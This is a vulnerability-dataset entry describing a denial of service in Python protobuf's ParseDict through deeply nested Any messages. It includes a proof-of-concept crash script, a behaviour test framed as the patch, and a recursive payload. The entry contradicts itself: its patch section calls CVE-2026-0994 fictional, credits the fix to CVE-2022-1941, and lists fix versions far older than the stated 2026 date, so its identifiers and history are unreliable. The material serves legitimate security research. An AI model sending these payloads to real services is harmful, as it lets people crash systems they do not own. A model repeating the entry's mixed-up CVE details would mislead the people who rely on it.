CVE-2026-0994
DoS in Protobuf Python via nested Any messages bypassing recursion limit.
- CVSS 8.2
- CWE-674
- Resource Management
- Remote
A denial-of-service (DoS) vulnerability exists in google.protobuf.json_format.ParseDict() in Python, where the max_recursion_depth limit can be bypassed when parsing nested google.protobuf.Any messages. Due to missing recursion depth accounting inside the internal Any-handling logic, an attacker can supply deeply nested Any structures that bypass the intended recursion limit, eventually exhausting Python’s recursion stack and causing a RecursionError.
- CWE
- CWE-674
- CVSS base score
- 8.2
- Published
- 2026-01-23
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- google.proto
- Fixed by upgrading
- Yes
Solution
Upgrade the Python `protobuf` package to version 3.19.5, 3.20.2, 4.21.1, or newer.
Vulnerable code sample
import sys
from google.protobuf import json_format
from google.protobuf import any_pb2
from google.protobuf.descriptor_pb2 import FileDescriptorProto
from google.protobuf import descriptor_pool, message_factory
# This setup dynamically creates a protobuf message type,
# equivalent to compiling a .proto file.
# This makes the example self-contained.
file_proto = FileDescriptorProto()
file_proto.name = 'my_messages.proto'
file_proto.package = 'my_package'
# Define SimpleMessage
msg_proto = file_proto.message_type.add()
msg_proto.name = 'SimpleMessage'
msg_proto.field.add(name='data', number=1, type=3) # type 3 is TYPE_STRING
# Add the descriptor to the pool and get the message class
pool = descriptor_pool.Default()
pool.Add(file_proto)
SimpleMessage = message_factory.GetMessageClass('my_package.SimpleMessage')
def create_deeply_nested_any_dict(depth: int):
"""
Creates a JSON dictionary representing a deeply nested Any message.
Each Any message contains another Any message, until the final one
which contains a SimpleMessage.
"""
# The innermost message
payload = {
'@type': 'type.googleapis.com/my_package.SimpleMessage',
'data': 'final payload'
}
# Wrap the payload in `depth` layers of Any messages
for _ in range(depth):
payload = {
'@type': 'type.googleapis.com/google.protobuf.Any',
'value': payload
}
return payload
# The default Python recursion limit is often around 1000.
# We set the nesting depth higher to ensure a crash.
NESTING_DEPTH = 2000
# The attacker-controlled JSON dictionary
malicious_dict = create_deeply_nested_any_dict(NESTING_DEPTH)
# The target message to parse into
target_message = any_pb2.Any()
# This call will bypass the `max_recursion_depth` check for the nested 'Any'
# messages and will eventually cause a Python RecursionError, leading to a DoS.
# The `max_recursion_depth` is set to a low value to demonstrate it is being ignored.
json_format.ParseDict(
js_dict=malicious_dict,
message=target_message,
ignore_unknown_fields=True,
max_recursion_depth=100
)Patched code sample
The vulnerability CVE-2022-1941 (not the fictional CVE-2026-0994) was fixed by ensuring that the recursion depth counter is correctly decremented when parsing nested `Any` messages.
The following Python code demonstrates the *behavior* of the fix. In a vulnerable version of `protobuf`, this code would crash with a `RecursionError`. In a patched version, it correctly raises a `ParseError`, preventing the Denial of Service.
```python
import sys
from google.protobuf import any_pb2, wrappers_pb2
from google.protobuf.json_format import ParseDict, ParseError, MessageToDict
def create_deeply_nested_any_dict(depth: int):
"""
Creates a dictionary that mimics a deeply nested protobuf Any message
in JSON format. This structure is used to test recursion limits.
"""
# Start with a simple, concrete message at the deepest level.
inner_message = wrappers_pb2.StringValue(value="core")
any_proto = any_pb2.Any()
any_proto.Pack(inner_message)
# Convert the innermost protobuf message to its dictionary representation.
nested_dict = MessageToDict(any_proto)
# Wrap the dictionary in 'Any' type layers.
# This simulates a JSON object like:
# { "@type": "type.googleapis.com/google.protobuf.Any", "value": { ... } }
for _ in range(depth):
wrapper_dict = {
"@type": "type.googleapis.com/google.protobuf.Any",
"value": nested_dict
}
nested_dict = wrapper_dict
return nested_dict
# The default max_recursion_depth for ParseDict is 100.
# We create a structure deeper than this to test the fix.
NESTING_DEPTH = 105
DEFAULT_RECURSION_LIMIT = 100
# 1. Create the malicious dictionary that would cause the recursion issue.
malicious_dict = create_deeply_nested_any_dict(depth=NESTING_DEPTH)
# 2. Prepare a target message to parse the dictionary into.
target_message = any_pb2.Any()
print(f"Python's recursion limit is: {sys.getrecursionlimit()}")
print(f"Attempting to parse a dict with nesting depth: {NESTING_DEPTH}")
print(f"Protobuf's max_recursion_depth is set to: {DEFAULT_RECURSION_LIMIT}\n")
# 3. Attempt to parse the dictionary and demonstrate the fix.
try:
# In a FIXED version (e.g., protobuf>=4.21.1), the internal logic for 'Any'
# correctly decrements the recursion depth. This call will fail safely
# with a ParseError because NESTING_DEPTH > max_recursion_depth.
ParseDict(
js_dict=malicious_dict,
message=target_message,
max_recursion_depth=DEFAULT_RECURSION_LIMIT
)
# In a VULNERABLE version, the recursion limit is bypassed, and either
# this print statement is reached (if the depth is less than Python's
# own limit) or a RecursionError is raised.
print("[VULNERABLE BEHAVIOR DETECTED]")
print("Parsing unexpectedly succeeded. The depth limit was bypassed.")
except ParseError as e:
# This is the EXPECTED outcome in a fixed version.
# The library correctly identifies the excessive depth and aborts safely.
print("[FIXED BEHAVIOR DEMONSTRATED]")
print("Caught the expected 'ParseError', preventing a crash.")
print(f"-> Error message: {e}")
except RecursionError:
# This is the EXPECTED outcome in a vulnerable version.
print("[VULNERABLE BEHAVIOR DETECTED]")
print("A 'RecursionError' occurred, causing a Denial of Service.")Payload
payload = None
for _ in range(2000):
payload = {
"@type": "type.googleapis.com/exploit.RecursiveMessage",
"next": payload
}
Cite this entry
@misc{vaitp:cve20260994,
title = {{DoS in Protobuf Python via nested Any messages bypassing recursion limit.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-0994},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-0994/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
